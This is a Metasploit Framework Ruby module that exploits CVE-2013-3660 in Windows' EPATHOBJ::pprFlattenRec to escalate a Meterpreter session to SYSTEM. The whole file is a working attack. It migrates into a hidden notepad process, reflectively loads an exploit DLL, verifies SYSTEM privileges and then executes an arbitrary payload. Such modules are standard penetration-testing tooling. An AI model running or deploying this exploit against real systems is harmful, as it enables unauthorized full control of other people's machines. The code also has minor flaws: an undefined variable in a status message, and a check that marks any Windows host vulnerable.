##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'

class Metasploit3 < Msf::Exploit::Local
	Rank = AverageRanking

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Priv
	include Msf::Post::Windows::Process

	def initialize(info={})
		super(update_info(info, {
			'Name'           => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
			'Description'    => %q{
					This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
				of uninitialized data which allows to corrupt memory. At the moment, the module has
				been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
					'progmboy <programmeboy[at]gmail.com>',    # Original Exploit
					'Keebie4e',    # Metasploit integration
					'egypt',       # Metasploit integration
					'sinn3r',      # Metasploit integration
					'juan vazquez' # Metasploit integration
				],
			'Arch'           => ARCH_X86,
			'Platform'       => 'win',
			'SessionTypes'   => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'Payload'        =>
				{
					'Space'       => 4096,
					'DisableNops' => true
				},
			'References'     =>
				[
					[ 'CVE', '2013-3660' ],
					[ 'EDB', '25912' ],
					[ 'OSVDB', '93539' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
				],
			'DisclosureDate' => 'May 15 2013',
			'DefaultTarget'  => 0
		}))

	end

	def check
		os = sysinfo["OS"]
		if os =~ /windows/i
			return Exploit::CheckCode::Vulnerable
		end
	end

	def add_railgun_functions
		session.railgun.add_function(
			'ntdll',
			'NtAllocateVirtualMemory',
			'DWORD',
			[
				["DWORD", "ProcessHandle", "in"],
				["PBLOB", "BaseAddress", "inout"],
				["PDWORD", "ZeroBits", "in"],
				["PBLOB", "RegionSize", "inout"],
				["DWORD", "AllocationType", "in"],
				["DWORD", "Protect", "in"]
			])
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def create_proc()
		windir = client.fs.file.expand_path("%windir%")
		# Select path of executable to run depending the architecture
		if sysinfo['Architecture'] =~ /x86/
			cmd = "#{windir}\\System32\\notepad.exe"
		else
			cmd = "#{windir}\\Sysnative\\notepad.exe"
		end
		# run hidden
		proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
		return proc.pid
	end

	def exploit

		if sysinfo["Architecture"] =~ /wow64/i
			fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
		elsif sysinfo["Architecture"] =~ /x64/
			fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
		end

		print_status("Creating a new process and migrating...")
		new_pid = create_proc

		if not new_pid
			print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
		else
			begin
				print_status("Migrating to #{new_pid}")
				session.core.migrate(new_pid)
				print_good("Successfully migrated to process #{target_pid}")
			rescue ::Exception => e
				print_error("Could not migrate in to process, trying in the current one, if unsuccessful migrate by yourself")
			end
		end

		vprint_status("Adding the railgun stuff...")
		add_railgun_functions

		print_status("Trying to load the exploit and executing...")

		session.core.load_library({
			"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
			"UploadLibrary"   => true,
			"Extension"       => false,
			"TargetFilePath"  => "#{rand_text_alpha(5 + rand(3))}.dll",
			"SaveToDisk"      => false
		})

		print_status("Checking privileges after exploitation...")

		if not is_system?
			fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
		else
			print_good("Exploitation successful!")
		end

		if execute_shellcode(payload.encoded, 0x0c0c0000)
			print_good("Enjoy!")
		else
			fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
		end

	end

end